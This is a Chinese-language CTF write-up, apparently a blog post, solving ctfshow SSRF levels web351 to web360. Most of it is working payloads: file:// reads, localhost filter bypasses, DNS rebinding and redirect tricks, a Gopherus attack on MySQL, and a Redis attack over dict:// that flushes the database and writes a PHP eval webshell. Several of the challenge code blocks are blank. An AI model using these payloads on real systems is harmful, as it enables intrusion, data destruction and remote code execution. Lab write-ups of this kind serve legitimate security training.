SSRF
web351
php
1 |
|
没有开启open_basedir
,可以利用file协议随便读文件了
plaintext
1 | url=file:///var/www/html/flag.php |
web352,353
php
1 |
|
php
1 |
|
逆天
plaintext
1 | url=http://0.0.0.0/flag.php |
web354
php
1 | if(!preg_match('/localhost|1|0|。/i', $url)){ |
可以选上面的payload也可以拿DNS重绑定打
http://ceye.io/注册绑定127.0.0.1然后记得前面加r
plaintext
1 | url=http://r.nm1rxx.ceye.io/flag.php //逆天!我的随机地址竟然有1 qAq |
302跳转
服务器放上代码
php
1 | header("Location:http://127.0.0.1/flag.php"); |
更改域名A记录
plaintext
1 | 127.0.0.1 |
web355
要求url解析后的host部分<=5
plaintext
1 | url=http://127.1/flag.php |
web356
要求url解析后的host部分<=3
plaintext
1 | url=http://0/flag.php |
0在linux系统中会解析成127.0.0.1
在windows中解析成0.0.0.0
web357
php
1 |
|
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值不在 RFC 指定的私有范围 IP 内(比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值
302跳转
plaintext
1 | url=http://39.105.125.61/32jump.php |
web358
php
1 |
|
plaintext
1 | url=http://ctf.:haihaihai@0/flag.php#show |
web359
提示打无密码的mysql
执行一下发现无回显,那就写入shell
py2
https://github.com/tarunkant/Gopherus
因为cURL会解码一次,生成的payload需要再编码一次
web360
打redis
手打:
探测是否需要认证
plaintext
1 | url=dict://0:6379/info |
不用认证直接打命令就可以了
plaintext
1 | url=dict://0:6379/flushall |
plaintext
1 | url=dict://0:6379/set:anz:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3b\x3f\x3e" |
plaintext
1 | url=dict://0:6379/config:get:dir |
plaintext
1 | url=dict://0:6379/config:set:dbfilename:shell.php |
plaintext
1 | url=dict://0:6379/save |
plaintext
1 | url=dict://0:6379/quit |
半自动:
可以发现里面的代码和用dict协议打的大致相同,区别只在于gopherus协议可以一下执行多条命令,而dict协议只能一条条执行
plaintext
1 | *1 |
如果需要密码的话可以直接在payload前面加上
plaintext
1 | *2 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 anz!